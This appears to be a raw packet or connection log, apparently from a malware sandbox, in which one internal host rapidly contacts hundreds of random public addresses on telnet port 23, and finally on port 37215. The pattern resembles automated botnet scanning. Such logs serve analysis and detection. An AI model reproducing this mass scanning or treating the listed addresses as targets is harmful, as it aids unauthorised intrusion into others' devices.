Dec 3, 2024 21:47:20.065962076 CET	40955	23	192.168.2.13	44.0.6.114
Dec 3, 2024 21:47:20.065962076 CET	40955	23	192.168.2.13	174.220.137.74
Dec 3, 2024 21:47:20.065968037 CET	40955	23	192.168.2.13	154.203.67.208
Dec 3, 2024 21:47:20.065968037 CET	40955	23	192.168.2.13	185.228.214.27
Dec 3, 2024 21:47:20.065968037 CET	40955	23	192.168.2.13	34.139.4.56
Dec 3, 2024 21:47:20.065969944 CET	40955	23	192.168.2.13	1.64.200.17
Dec 3, 2024 21:47:20.065969944 CET	40955	23	192.168.2.13	88.102.96.143
Dec 3, 2024 21:47:20.065979004 CET	40955	23	192.168.2.13	195.253.183.106
Dec 3, 2024 21:47:20.065982103 CET	40955	23	192.168.2.13	144.209.159.110
Dec 3, 2024 21:47:20.065984011 CET	40955	23	192.168.2.13	158.52.167.238
Dec 3, 2024 21:47:20.065984011 CET	40955	23	192.168.2.13	13.165.123.196
Dec 3, 2024 21:47:20.065984964 CET	40955	23	192.168.2.13	155.19.203.93
Dec 3, 2024 21:47:20.065984964 CET	40955	23	192.168.2.13	179.130.66.148
Dec 3, 2024 21:47:20.065984964 CET	40955	23	192.168.2.13	154.179.209.113
Dec 3, 2024 21:47:20.065994978 CET	40955	23	192.168.2.13	192.141.18.2
Dec 3, 2024 21:47:20.065994978 CET	40955	23	192.168.2.13	170.81.198.75
Dec 3, 2024 21:47:20.065995932 CET	40955	23	192.168.2.13	65.201.191.244
Dec 3, 2024 21:47:20.065999985 CET	40955	23	192.168.2.13	62.172.158.133
Dec 3, 2024 21:47:20.065999985 CET	40955	23	192.168.2.13	4.61.90.233
Dec 3, 2024 21:47:20.066004038 CET	40955	23	192.168.2.13	163.249.195.84
Dec 3, 2024 21:47:20.066013098 CET	40955	23	192.168.2.13	177.196.211.71
Dec 3, 2024 21:47:20.066013098 CET	40955	23	192.168.2.13	25.192.233.237
Dec 3, 2024 21:47:20.066013098 CET	40955	23	192.168.2.13	159.23.111.133
Dec 3, 2024 21:47:20.066015005 CET	40955	23	192.168.2.13	176.200.199.68
Dec 3, 2024 21:47:20.066020012 CET	40955	23	192.168.2.13	212.68.228.250
Dec 3, 2024 21:47:20.066023111 CET	40955	23	192.168.2.13	118.222.153.127
Dec 3, 2024 21:47:20.066029072 CET	40955	23	192.168.2.13	136.53.194.94
Dec 3, 2024 21:47:20.066055059 CET	40955	23	192.168.2.13	186.136.152.254
Dec 3, 2024 21:47:20.066060066 CET	40955	23	192.168.2.13	172.135.73.169
Dec 3, 2024 21:47:20.066065073 CET	40955	23	192.168.2.13	88.177.55.45
Dec 3, 2024 21:47:20.066070080 CET	40955	23	192.168.2.13	14.135.117.221
Dec 3, 2024 21:47:20.066071987 CET	40955	23	192.168.2.13	84.3.199.185
Dec 3, 2024 21:47:20.066071987 CET	40955	23	192.168.2.13	5.107.9.68
Dec 3, 2024 21:47:20.066076040 CET	40955	23	192.168.2.13	132.225.208.66
Dec 3, 2024 21:47:20.066076040 CET	40955	23	192.168.2.13	179.237.165.27
Dec 3, 2024 21:47:20.066092968 CET	40955	23	192.168.2.13	93.243.219.225
Dec 3, 2024 21:47:20.066114902 CET	40955	23	192.168.2.13	141.9.92.21
Dec 3, 2024 21:47:20.066114902 CET	40955	23	192.168.2.13	137.151.58.18
Dec 3, 2024 21:47:20.066122055 CET	40955	23	192.168.2.13	210.137.216.195
Dec 3, 2024 21:47:20.066122055 CET	40955	23	192.168.2.13	115.39.157.7
Dec 3, 2024 21:47:20.066122055 CET	40955	23	192.168.2.13	73.40.144.29
Dec 3, 2024 21:47:20.066128016 CET	40955	23	192.168.2.13	85.79.31.217
Dec 3, 2024 21:47:20.066132069 CET	40955	23	192.168.2.13	98.78.253.94
Dec 3, 2024 21:47:20.066133976 CET	40955	23	192.168.2.13	74.20.0.47
Dec 3, 2024 21:47:20.066137075 CET	40955	23	192.168.2.13	8.72.42.150
Dec 3, 2024 21:47:20.066137075 CET	40955	23	192.168.2.13	82.132.241.56
Dec 3, 2024 21:47:20.066137075 CET	40955	23	192.168.2.13	66.91.128.172
Dec 3, 2024 21:47:20.066144943 CET	40955	23	192.168.2.13	90.81.239.79
Dec 3, 2024 21:47:20.066147089 CET	40955	23	192.168.2.13	31.189.160.119
Dec 3, 2024 21:47:20.066152096 CET	40955	23	192.168.2.13	39.69.105.121
Dec 3, 2024 21:47:20.066153049 CET	40955	23	192.168.2.13	72.8.130.21
Dec 3, 2024 21:47:20.066174984 CET	40955	23	192.168.2.13	159.120.63.226
Dec 3, 2024 21:47:20.066181898 CET	40955	23	192.168.2.13	113.173.239.203
Dec 3, 2024 21:47:20.066181898 CET	40955	23	192.168.2.13	206.84.49.154
Dec 3, 2024 21:47:20.066185951 CET	40955	23	192.168.2.13	106.137.116.64
Dec 3, 2024 21:47:20.066190958 CET	40955	23	192.168.2.13	198.104.150.234
Dec 3, 2024 21:47:20.066198111 CET	40955	23	192.168.2.13	155.126.199.232
Dec 3, 2024 21:47:20.066203117 CET	40955	23	192.168.2.13	167.66.34.238
Dec 3, 2024 21:47:20.066216946 CET	40955	23	192.168.2.13	151.140.201.17
Dec 3, 2024 21:47:20.066226959 CET	40955	23	192.168.2.13	12.207.4.60
Dec 3, 2024 21:47:20.066234112 CET	40955	23	192.168.2.13	170.32.234.154
Dec 3, 2024 21:47:20.066234112 CET	40955	23	192.168.2.13	73.31.155.77
Dec 3, 2024 21:47:20.066250086 CET	40955	23	192.168.2.13	131.228.56.184
Dec 3, 2024 21:47:20.066252947 CET	40955	23	192.168.2.13	200.102.184.148
Dec 3, 2024 21:47:20.066272020 CET	40955	23	192.168.2.13	96.170.82.87
Dec 3, 2024 21:47:20.066274881 CET	40955	23	192.168.2.13	171.193.15.99
Dec 3, 2024 21:47:20.066282034 CET	40955	23	192.168.2.13	96.74.228.231
Dec 3, 2024 21:47:20.066282034 CET	40955	23	192.168.2.13	216.26.218.134
Dec 3, 2024 21:47:20.066303015 CET	40955	23	192.168.2.13	140.245.114.6
Dec 3, 2024 21:47:20.066303968 CET	40955	23	192.168.2.13	142.143.8.132
Dec 3, 2024 21:47:20.066306114 CET	40955	23	192.168.2.13	1.57.191.98
Dec 3, 2024 21:47:20.066306114 CET	40955	23	192.168.2.13	103.190.105.69
Dec 3, 2024 21:47:20.066318989 CET	40955	23	192.168.2.13	59.201.205.45
Dec 3, 2024 21:47:20.066329002 CET	40955	23	192.168.2.13	207.14.33.227
Dec 3, 2024 21:47:20.066329002 CET	40955	23	192.168.2.13	126.121.116.198
Dec 3, 2024 21:47:20.066334963 CET	40955	23	192.168.2.13	162.152.46.156
Dec 3, 2024 21:47:20.066339970 CET	40955	23	192.168.2.13	170.29.140.131
Dec 3, 2024 21:47:20.066358089 CET	40955	23	192.168.2.13	195.30.157.146
Dec 3, 2024 21:47:20.066361904 CET	40955	23	192.168.2.13	211.171.41.58
Dec 3, 2024 21:47:20.066365004 CET	40955	23	192.168.2.13	23.242.227.106
Dec 3, 2024 21:47:20.066376925 CET	40955	23	192.168.2.13	67.48.247.97
Dec 3, 2024 21:47:20.066376925 CET	40955	23	192.168.2.13	23.215.245.216
Dec 3, 2024 21:47:20.066384077 CET	40955	23	192.168.2.13	2.17.173.42
Dec 3, 2024 21:47:20.066387892 CET	40955	23	192.168.2.13	104.212.167.105
Dec 3, 2024 21:47:20.066406965 CET	40955	23	192.168.2.13	197.87.239.183
Dec 3, 2024 21:47:20.066414118 CET	40955	23	192.168.2.13	98.205.4.86
Dec 3, 2024 21:47:20.066420078 CET	40955	23	192.168.2.13	102.157.97.238
Dec 3, 2024 21:47:20.066421032 CET	40955	23	192.168.2.13	114.82.97.232
Dec 3, 2024 21:47:20.066430092 CET	40955	23	192.168.2.13	206.210.94.234
Dec 3, 2024 21:47:20.066431046 CET	40955	23	192.168.2.13	49.103.216.253
Dec 3, 2024 21:47:20.066448927 CET	40955	23	192.168.2.13	80.43.11.172
Dec 3, 2024 21:47:20.066454887 CET	40955	23	192.168.2.13	171.236.197.137
Dec 3, 2024 21:47:20.066457033 CET	40955	23	192.168.2.13	93.22.77.54
Dec 3, 2024 21:47:20.066462040 CET	40955	23	192.168.2.13	221.198.86.73
Dec 3, 2024 21:47:20.066478014 CET	40955	23	192.168.2.13	90.111.180.225
Dec 3, 2024 21:47:20.066488028 CET	40955	23	192.168.2.13	181.127.84.33
Dec 3, 2024 21:47:20.066492081 CET	40955	23	192.168.2.13	150.28.214.51
Dec 3, 2024 21:47:20.066492081 CET	40955	23	192.168.2.13	115.112.17.119
Dec 3, 2024 21:47:20.066492081 CET	40955	23	192.168.2.13	213.227.221.215
Dec 3, 2024 21:47:20.066498041 CET	40955	23	192.168.2.13	145.37.239.46
Dec 3, 2024 21:47:20.066498995 CET	40955	23	192.168.2.13	125.192.245.32
Dec 3, 2024 21:47:20.066519022 CET	40955	23	192.168.2.13	73.155.123.35
Dec 3, 2024 21:47:20.066524029 CET	40955	23	192.168.2.13	142.170.62.97
Dec 3, 2024 21:47:20.066524982 CET	40955	23	192.168.2.13	51.146.22.143
Dec 3, 2024 21:47:20.066524982 CET	40955	23	192.168.2.13	128.222.216.81
Dec 3, 2024 21:47:20.066525936 CET	40955	23	192.168.2.13	67.192.121.199
Dec 3, 2024 21:47:20.066533089 CET	40955	23	192.168.2.13	138.42.88.238
Dec 3, 2024 21:47:20.066549063 CET	40955	23	192.168.2.13	145.169.40.161
Dec 3, 2024 21:47:20.066560984 CET	40955	23	192.168.2.13	137.90.217.149
Dec 3, 2024 21:47:20.066561937 CET	40955	23	192.168.2.13	31.186.140.123
Dec 3, 2024 21:47:20.066561937 CET	40955	23	192.168.2.13	100.176.74.110
Dec 3, 2024 21:47:20.066565990 CET	40955	23	192.168.2.13	186.202.252.161
Dec 3, 2024 21:47:20.066565990 CET	40955	23	192.168.2.13	133.18.227.13
Dec 3, 2024 21:47:20.066567898 CET	40955	23	192.168.2.13	177.252.50.175
Dec 3, 2024 21:47:20.066597939 CET	40955	23	192.168.2.13	161.160.169.220
Dec 3, 2024 21:47:20.066612005 CET	40955	23	192.168.2.13	110.140.171.89
Dec 3, 2024 21:47:20.066615105 CET	40955	23	192.168.2.13	79.226.231.235
Dec 3, 2024 21:47:20.066618919 CET	40955	23	192.168.2.13	84.230.75.84
Dec 3, 2024 21:47:20.066627026 CET	40955	23	192.168.2.13	143.80.138.131
Dec 3, 2024 21:47:20.066631079 CET	40955	23	192.168.2.13	205.108.140.107
Dec 3, 2024 21:47:20.066644907 CET	40955	23	192.168.2.13	60.121.42.184
Dec 3, 2024 21:47:20.066647053 CET	40955	23	192.168.2.13	37.213.179.121
Dec 3, 2024 21:47:20.066647053 CET	40955	23	192.168.2.13	208.198.229.34
Dec 3, 2024 21:47:20.066647053 CET	40955	23	192.168.2.13	150.31.179.32
Dec 3, 2024 21:47:20.066653967 CET	40955	23	192.168.2.13	190.66.73.5
Dec 3, 2024 21:47:20.066657066 CET	40955	23	192.168.2.13	19.14.33.186
Dec 3, 2024 21:47:20.066653967 CET	40955	23	192.168.2.13	148.57.199.154
Dec 3, 2024 21:47:20.066659927 CET	40955	23	192.168.2.13	20.17.13.149
Dec 3, 2024 21:47:20.066659927 CET	40955	23	192.168.2.13	129.111.124.93
Dec 3, 2024 21:47:20.066668987 CET	40955	23	192.168.2.13	126.246.59.166
Dec 3, 2024 21:47:20.066673994 CET	40955	23	192.168.2.13	147.40.27.157
Dec 3, 2024 21:47:20.066674948 CET	40955	23	192.168.2.13	117.221.210.238
Dec 3, 2024 21:47:20.066679955 CET	40955	23	192.168.2.13	47.132.253.58
Dec 3, 2024 21:47:20.066679955 CET	40955	23	192.168.2.13	168.68.41.130
Dec 3, 2024 21:47:20.066679955 CET	40955	23	192.168.2.13	210.140.2.86
Dec 3, 2024 21:47:20.066684961 CET	40955	23	192.168.2.13	134.244.226.163
Dec 3, 2024 21:47:20.066695929 CET	40955	23	192.168.2.13	81.160.164.52
Dec 3, 2024 21:47:20.066696882 CET	40955	23	192.168.2.13	63.20.153.102
Dec 3, 2024 21:47:20.066701889 CET	40955	23	192.168.2.13	155.160.217.70
Dec 3, 2024 21:47:20.066713095 CET	40955	23	192.168.2.13	198.31.12.23
Dec 3, 2024 21:47:20.066716909 CET	40955	23	192.168.2.13	75.204.18.186
Dec 3, 2024 21:47:20.066729069 CET	40955	23	192.168.2.13	210.114.53.197
Dec 3, 2024 21:47:20.066736937 CET	40955	23	192.168.2.13	53.200.169.176
Dec 3, 2024 21:47:20.066750050 CET	40955	23	192.168.2.13	102.103.134.236
Dec 3, 2024 21:47:20.066755056 CET	40955	23	192.168.2.13	146.97.33.102
Dec 3, 2024 21:47:20.066755056 CET	40955	23	192.168.2.13	172.89.5.163
Dec 3, 2024 21:47:20.066756010 CET	40955	23	192.168.2.13	120.5.52.14
Dec 3, 2024 21:47:20.066756010 CET	40955	23	192.168.2.13	82.142.78.232
Dec 3, 2024 21:47:20.066766977 CET	40955	23	192.168.2.13	79.189.72.200
Dec 3, 2024 21:47:20.066777945 CET	40955	23	192.168.2.13	95.87.249.246
Dec 3, 2024 21:47:20.066777945 CET	40955	23	192.168.2.13	167.24.206.134
Dec 3, 2024 21:47:20.066778898 CET	40955	23	192.168.2.13	104.207.21.159
Dec 3, 2024 21:47:20.066786051 CET	40955	23	192.168.2.13	136.61.233.107
Dec 3, 2024 21:47:20.066786051 CET	40955	23	192.168.2.13	34.244.143.86
Dec 3, 2024 21:47:20.066791058 CET	40955	23	192.168.2.13	98.83.250.0
Dec 3, 2024 21:47:20.066791058 CET	40955	23	192.168.2.13	116.90.196.8
Dec 3, 2024 21:47:20.066792965 CET	40955	23	192.168.2.13	195.74.123.26
Dec 3, 2024 21:47:20.066795111 CET	40955	23	192.168.2.13	182.160.116.92
Dec 3, 2024 21:47:20.066803932 CET	40955	23	192.168.2.13	163.87.185.223
Dec 3, 2024 21:47:20.066814899 CET	40955	23	192.168.2.13	130.196.21.140
Dec 3, 2024 21:47:20.066831112 CET	40955	23	192.168.2.13	53.106.67.229
Dec 3, 2024 21:47:20.066833019 CET	40955	23	192.168.2.13	54.240.201.122
Dec 3, 2024 21:47:20.066833973 CET	40955	23	192.168.2.13	1.32.181.78
Dec 3, 2024 21:47:20.066848993 CET	40955	23	192.168.2.13	69.126.215.187
Dec 3, 2024 21:47:20.066853046 CET	40955	23	192.168.2.13	142.118.184.190
Dec 3, 2024 21:47:20.066862106 CET	40955	23	192.168.2.13	161.115.162.129
Dec 3, 2024 21:47:20.066870928 CET	40955	23	192.168.2.13	170.237.183.27
Dec 3, 2024 21:47:20.066874981 CET	40955	23	192.168.2.13	143.205.124.116
Dec 3, 2024 21:47:20.066874981 CET	40955	23	192.168.2.13	186.243.161.68
Dec 3, 2024 21:47:20.066874981 CET	40955	23	192.168.2.13	142.115.185.156
Dec 3, 2024 21:47:20.066879988 CET	40955	23	192.168.2.13	219.136.51.201
Dec 3, 2024 21:47:20.066894054 CET	40955	23	192.168.2.13	84.160.24.232
Dec 3, 2024 21:47:20.066894054 CET	40955	23	192.168.2.13	116.142.119.153
Dec 3, 2024 21:47:20.066896915 CET	40955	23	192.168.2.13	165.200.80.13
Dec 3, 2024 21:47:20.066900015 CET	40955	23	192.168.2.13	194.118.134.136
Dec 3, 2024 21:47:20.066901922 CET	40955	23	192.168.2.13	107.248.155.39
Dec 3, 2024 21:47:20.066901922 CET	40955	23	192.168.2.13	25.91.254.164
Dec 3, 2024 21:47:20.066926003 CET	40955	23	192.168.2.13	134.188.83.65
Dec 3, 2024 21:47:20.066926003 CET	40955	23	192.168.2.13	80.201.140.43
Dec 3, 2024 21:47:20.066926003 CET	40955	23	192.168.2.13	122.252.124.209
Dec 3, 2024 21:47:20.066929102 CET	40955	23	192.168.2.13	47.196.184.147
Dec 3, 2024 21:47:20.066937923 CET	40955	23	192.168.2.13	162.95.191.7
Dec 3, 2024 21:47:20.066952944 CET	40955	23	192.168.2.13	62.188.67.124
Dec 3, 2024 21:47:20.066967010 CET	40955	23	192.168.2.13	210.251.26.194
Dec 3, 2024 21:47:20.066975117 CET	40955	23	192.168.2.13	194.111.185.166
Dec 3, 2024 21:47:20.066975117 CET	40955	23	192.168.2.13	17.26.232.207
Dec 3, 2024 21:47:20.066992998 CET	40955	23	192.168.2.13	88.105.146.20
Dec 3, 2024 21:47:20.066998959 CET	40955	23	192.168.2.13	23.169.45.28
Dec 3, 2024 21:47:20.067002058 CET	40955	23	192.168.2.13	1.214.122.87
Dec 3, 2024 21:47:20.067004919 CET	40955	23	192.168.2.13	148.15.135.222
Dec 3, 2024 21:47:20.067028999 CET	40955	23	192.168.2.13	66.82.140.143
Dec 3, 2024 21:47:20.067039013 CET	40955	23	192.168.2.13	193.118.44.89
Dec 3, 2024 21:47:20.067044020 CET	40955	23	192.168.2.13	133.220.130.83
Dec 3, 2024 21:47:20.067044973 CET	40955	23	192.168.2.13	203.185.48.197
Dec 3, 2024 21:47:20.067058086 CET	40955	23	192.168.2.13	35.135.131.132
Dec 3, 2024 21:47:20.067063093 CET	40955	23	192.168.2.13	143.44.104.39
Dec 3, 2024 21:47:20.067074060 CET	40955	23	192.168.2.13	17.250.121.54
Dec 3, 2024 21:47:20.067075014 CET	40955	23	192.168.2.13	147.62.156.243
Dec 3, 2024 21:47:20.067081928 CET	40955	23	192.168.2.13	48.191.0.22
Dec 3, 2024 21:47:20.067101955 CET	40955	23	192.168.2.13	111.168.141.55
Dec 3, 2024 21:47:20.067111015 CET	40955	23	192.168.2.13	89.11.242.114
Dec 3, 2024 21:47:20.067116022 CET	40955	23	192.168.2.13	63.188.106.149
Dec 3, 2024 21:47:20.067126989 CET	40955	23	192.168.2.13	51.24.221.6
Dec 3, 2024 21:47:20.067132950 CET	40955	23	192.168.2.13	131.122.221.243
Dec 3, 2024 21:47:20.067141056 CET	40955	23	192.168.2.13	212.169.250.75
Dec 3, 2024 21:47:20.067142010 CET	40955	23	192.168.2.13	36.119.216.191
Dec 3, 2024 21:47:20.067142010 CET	40955	23	192.168.2.13	67.66.74.141
Dec 3, 2024 21:47:20.067142963 CET	40955	23	192.168.2.13	77.155.209.98
Dec 3, 2024 21:47:20.067142010 CET	40955	23	192.168.2.13	42.240.56.163
Dec 3, 2024 21:47:20.067162037 CET	40955	23	192.168.2.13	197.220.115.71
Dec 3, 2024 21:47:20.067174911 CET	40955	23	192.168.2.13	207.162.133.183
Dec 3, 2024 21:47:20.067174911 CET	40955	23	192.168.2.13	176.107.57.211
Dec 3, 2024 21:47:20.067176104 CET	40955	23	192.168.2.13	136.119.20.249
Dec 3, 2024 21:47:20.067189932 CET	40955	23	192.168.2.13	92.8.107.58
Dec 3, 2024 21:47:20.067189932 CET	40955	23	192.168.2.13	48.38.75.198
Dec 3, 2024 21:47:20.067195892 CET	40955	23	192.168.2.13	111.81.201.194
Dec 3, 2024 21:47:20.067207098 CET	40955	23	192.168.2.13	61.126.10.76
Dec 3, 2024 21:47:20.067212105 CET	40955	23	192.168.2.13	182.251.55.178
Dec 3, 2024 21:47:20.067240953 CET	40955	23	192.168.2.13	105.55.27.240
Dec 3, 2024 21:47:20.067248106 CET	40955	23	192.168.2.13	134.206.228.83
Dec 3, 2024 21:47:20.067255974 CET	40955	23	192.168.2.13	184.122.190.111
Dec 3, 2024 21:47:20.067255974 CET	40955	23	192.168.2.13	107.134.56.95
Dec 3, 2024 21:47:20.067255974 CET	40955	23	192.168.2.13	102.46.138.102
Dec 3, 2024 21:47:20.067257881 CET	40955	23	192.168.2.13	152.249.104.56
Dec 3, 2024 21:47:20.067257881 CET	40955	23	192.168.2.13	132.230.96.110
Dec 3, 2024 21:47:20.067282915 CET	40955	23	192.168.2.13	143.185.61.147
Dec 3, 2024 21:47:20.067285061 CET	40955	23	192.168.2.13	182.152.50.35
Dec 3, 2024 21:47:20.067292929 CET	40955	23	192.168.2.13	145.32.155.13
Dec 3, 2024 21:47:20.067306995 CET	40955	23	192.168.2.13	101.247.75.136
Dec 3, 2024 21:47:20.067327023 CET	40955	23	192.168.2.13	186.37.146.179
Dec 3, 2024 21:47:20.067331076 CET	40955	23	192.168.2.13	136.78.207.93
Dec 3, 2024 21:47:20.067331076 CET	40955	23	192.168.2.13	114.80.39.233
Dec 3, 2024 21:47:20.067339897 CET	40955	23	192.168.2.13	42.56.81.211
Dec 3, 2024 21:47:20.067342043 CET	40955	23	192.168.2.13	19.93.217.190
Dec 3, 2024 21:47:20.067349911 CET	40955	23	192.168.2.13	198.149.47.118
Dec 3, 2024 21:47:20.067359924 CET	40955	23	192.168.2.13	123.252.68.180
Dec 3, 2024 21:47:20.067359924 CET	40955	23	192.168.2.13	223.179.21.226
Dec 3, 2024 21:47:20.067372084 CET	40955	23	192.168.2.13	186.119.53.134
Dec 3, 2024 21:47:20.067373037 CET	40955	23	192.168.2.13	129.114.93.177
Dec 3, 2024 21:47:20.067383051 CET	40955	23	192.168.2.13	92.213.109.185
Dec 3, 2024 21:47:20.067383051 CET	40955	23	192.168.2.13	27.229.224.191
Dec 3, 2024 21:47:20.067387104 CET	40955	23	192.168.2.13	160.109.128.214
Dec 3, 2024 21:47:20.067409992 CET	40955	23	192.168.2.13	72.136.0.125
Dec 3, 2024 21:47:20.067411900 CET	40955	23	192.168.2.13	58.60.110.109
Dec 3, 2024 21:47:20.067414999 CET	40955	23	192.168.2.13	112.96.76.82
Dec 3, 2024 21:47:20.067414999 CET	40955	23	192.168.2.13	34.98.24.81
Dec 3, 2024 21:47:20.067425966 CET	40955	23	192.168.2.13	67.222.115.214
Dec 3, 2024 21:47:20.067428112 CET	40955	23	192.168.2.13	71.13.167.120
Dec 3, 2024 21:47:20.067440033 CET	40955	23	192.168.2.13	41.44.64.162
Dec 3, 2024 21:47:20.067441940 CET	40955	23	192.168.2.13	101.186.255.106
Dec 3, 2024 21:47:20.067441940 CET	40955	23	192.168.2.13	145.13.224.236
Dec 3, 2024 21:47:20.067450047 CET	40955	23	192.168.2.13	217.167.115.145
Dec 3, 2024 21:47:20.067451000 CET	40955	23	192.168.2.13	148.209.165.21
Dec 3, 2024 21:47:20.067454100 CET	40955	23	192.168.2.13	148.63.214.251
Dec 3, 2024 21:47:20.067454100 CET	40955	23	192.168.2.13	95.199.155.197
Dec 3, 2024 21:47:20.067456961 CET	40955	23	192.168.2.13	35.86.14.138
Dec 3, 2024 21:47:20.067473888 CET	40955	23	192.168.2.13	114.139.214.88
Dec 3, 2024 21:47:20.067473888 CET	40955	23	192.168.2.13	183.140.140.35
Dec 3, 2024 21:47:20.067487001 CET	40955	23	192.168.2.13	171.129.216.195
Dec 3, 2024 21:47:20.067495108 CET	40955	23	192.168.2.13	102.72.102.12
Dec 3, 2024 21:47:20.067496061 CET	40955	23	192.168.2.13	98.161.86.203
Dec 3, 2024 21:47:20.067500114 CET	40955	23	192.168.2.13	120.173.110.250
Dec 3, 2024 21:47:20.067513943 CET	40955	23	192.168.2.13	166.200.132.109
Dec 3, 2024 21:47:20.067532063 CET	40955	23	192.168.2.13	190.178.96.232
Dec 3, 2024 21:47:20.067532063 CET	40955	23	192.168.2.13	152.55.87.137
Dec 3, 2024 21:47:20.067532063 CET	40955	23	192.168.2.13	149.28.145.195
Dec 3, 2024 21:47:20.067532063 CET	40955	23	192.168.2.13	52.159.218.183
Dec 3, 2024 21:47:20.067548037 CET	40955	23	192.168.2.13	212.72.93.198
Dec 3, 2024 21:47:20.067552090 CET	40955	23	192.168.2.13	209.226.150.10
Dec 3, 2024 21:47:20.067562103 CET	40955	23	192.168.2.13	85.242.134.69
Dec 3, 2024 21:47:20.067565918 CET	40955	23	192.168.2.13	217.93.236.116
Dec 3, 2024 21:47:20.067569971 CET	40955	23	192.168.2.13	87.23.217.177
Dec 3, 2024 21:47:20.067576885 CET	40955	23	192.168.2.13	188.246.244.12
Dec 3, 2024 21:47:20.067596912 CET	40955	23	192.168.2.13	86.205.79.190
Dec 3, 2024 21:47:20.067596912 CET	40955	23	192.168.2.13	147.45.166.63
Dec 3, 2024 21:47:20.067615032 CET	40955	23	192.168.2.13	156.153.171.226
Dec 3, 2024 21:47:20.067626953 CET	40955	23	192.168.2.13	85.195.62.82
Dec 3, 2024 21:47:20.067629099 CET	40955	23	192.168.2.13	104.2.210.8
Dec 3, 2024 21:47:20.067640066 CET	40955	23	192.168.2.13	179.162.156.9
Dec 3, 2024 21:47:20.067641020 CET	40955	23	192.168.2.13	71.177.40.127
Dec 3, 2024 21:47:20.067655087 CET	40955	23	192.168.2.13	5.183.111.93
Dec 3, 2024 21:47:20.067656994 CET	40955	23	192.168.2.13	120.88.157.251
Dec 3, 2024 21:47:20.067665100 CET	40955	23	192.168.2.13	154.69.199.0
Dec 3, 2024 21:47:20.067673922 CET	40955	23	192.168.2.13	202.155.225.91
Dec 3, 2024 21:47:20.067689896 CET	40955	23	192.168.2.13	145.217.93.89
Dec 3, 2024 21:47:20.067689896 CET	40955	23	192.168.2.13	119.78.230.79
Dec 3, 2024 21:47:20.067692041 CET	40955	23	192.168.2.13	39.82.38.52
Dec 3, 2024 21:47:20.067697048 CET	40955	23	192.168.2.13	19.188.108.199
Dec 3, 2024 21:47:20.067697048 CET	40955	23	192.168.2.13	66.226.235.152
Dec 3, 2024 21:47:20.067713976 CET	40955	23	192.168.2.13	97.112.195.198
Dec 3, 2024 21:47:20.067715883 CET	40955	23	192.168.2.13	79.209.173.242
Dec 3, 2024 21:47:20.067728043 CET	40955	23	192.168.2.13	71.247.103.128
Dec 3, 2024 21:47:20.067734003 CET	40955	23	192.168.2.13	114.15.162.147
Dec 3, 2024 21:47:20.067737103 CET	40955	23	192.168.2.13	18.111.224.132
Dec 3, 2024 21:47:20.067750931 CET	40955	23	192.168.2.13	139.38.54.211
Dec 3, 2024 21:47:20.067753077 CET	40955	23	192.168.2.13	137.110.67.124
Dec 3, 2024 21:47:20.067765951 CET	40955	23	192.168.2.13	1.52.75.0
Dec 3, 2024 21:47:20.067765951 CET	40955	23	192.168.2.13	184.65.190.105
Dec 3, 2024 21:47:20.067778111 CET	40955	23	192.168.2.13	173.47.210.194
Dec 3, 2024 21:47:20.067786932 CET	40955	23	192.168.2.13	186.254.221.72
Dec 3, 2024 21:47:20.067794085 CET	40955	23	192.168.2.13	42.93.229.145
Dec 3, 2024 21:47:20.067802906 CET	40955	23	192.168.2.13	211.246.68.103
Dec 3, 2024 21:47:20.067811012 CET	40955	23	192.168.2.13	78.224.10.100
Dec 3, 2024 21:47:20.067811012 CET	40955	23	192.168.2.13	207.34.173.24
Dec 3, 2024 21:47:20.067819118 CET	40955	23	192.168.2.13	44.83.221.246
Dec 3, 2024 21:47:20.067828894 CET	40955	23	192.168.2.13	101.8.122.41
Dec 3, 2024 21:47:20.067830086 CET	40955	23	192.168.2.13	188.217.55.34
Dec 3, 2024 21:47:20.067847013 CET	40955	23	192.168.2.13	119.104.200.52
Dec 3, 2024 21:47:20.067847967 CET	40955	23	192.168.2.13	63.111.224.205
Dec 3, 2024 21:47:20.067858934 CET	40955	23	192.168.2.13	69.118.38.235
Dec 3, 2024 21:47:20.067863941 CET	40955	23	192.168.2.13	51.233.94.65
Dec 3, 2024 21:47:20.067873955 CET	40955	23	192.168.2.13	200.193.47.55
Dec 3, 2024 21:47:20.067888975 CET	40955	23	192.168.2.13	158.63.136.85
Dec 3, 2024 21:47:20.067898989 CET	40955	23	192.168.2.13	79.207.186.181
Dec 3, 2024 21:47:20.067915916 CET	40955	23	192.168.2.13	97.164.86.235
Dec 3, 2024 21:47:20.067918062 CET	40955	23	192.168.2.13	46.52.195.64
Dec 3, 2024 21:47:20.067918062 CET	40955	23	192.168.2.13	161.78.92.250
Dec 3, 2024 21:47:20.067922115 CET	40955	23	192.168.2.13	152.191.5.107
Dec 3, 2024 21:47:20.067934036 CET	40955	23	192.168.2.13	172.225.62.56
Dec 3, 2024 21:47:20.067939043 CET	40955	23	192.168.2.13	222.75.197.56
Dec 3, 2024 21:47:20.067939043 CET	40955	23	192.168.2.13	54.171.88.57
Dec 3, 2024 21:47:20.067943096 CET	40955	23	192.168.2.13	147.129.15.253
Dec 3, 2024 21:47:20.067954063 CET	40955	23	192.168.2.13	47.108.13.105
Dec 3, 2024 21:47:20.067959070 CET	40955	23	192.168.2.13	126.19.116.88
Dec 3, 2024 21:47:20.067964077 CET	40955	23	192.168.2.13	88.174.77.76
Dec 3, 2024 21:47:20.067970991 CET	40955	23	192.168.2.13	161.249.201.61
Dec 3, 2024 21:47:20.067971945 CET	40955	23	192.168.2.13	198.88.244.140
Dec 3, 2024 21:47:20.067970991 CET	40955	23	192.168.2.13	193.157.67.158
Dec 3, 2024 21:47:20.067990065 CET	40955	23	192.168.2.13	79.122.211.189
Dec 3, 2024 21:47:20.067991018 CET	40955	23	192.168.2.13	147.218.78.47
Dec 3, 2024 21:47:20.067997932 CET	40955	23	192.168.2.13	69.160.177.227
Dec 3, 2024 21:47:20.068000078 CET	40955	23	192.168.2.13	218.158.155.253
Dec 3, 2024 21:47:20.068003893 CET	40955	23	192.168.2.13	87.140.14.104
Dec 3, 2024 21:47:20.068016052 CET	40955	23	192.168.2.13	46.168.106.168
Dec 3, 2024 21:47:20.068025112 CET	40955	23	192.168.2.13	130.209.116.232
Dec 3, 2024 21:47:20.068033934 CET	40955	23	192.168.2.13	196.61.232.47
Dec 3, 2024 21:47:20.068332911 CET	40955	23	192.168.2.13	69.148.237.118
Dec 3, 2024 21:47:20.085462093 CET	34043	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:20.085463047 CET	34043	37215	192.168.2.13	41.130.211.180
Dec 3, 2024 21:47:20.085463047 CET	34043	37215	192.168.2.13	197.222.99.51
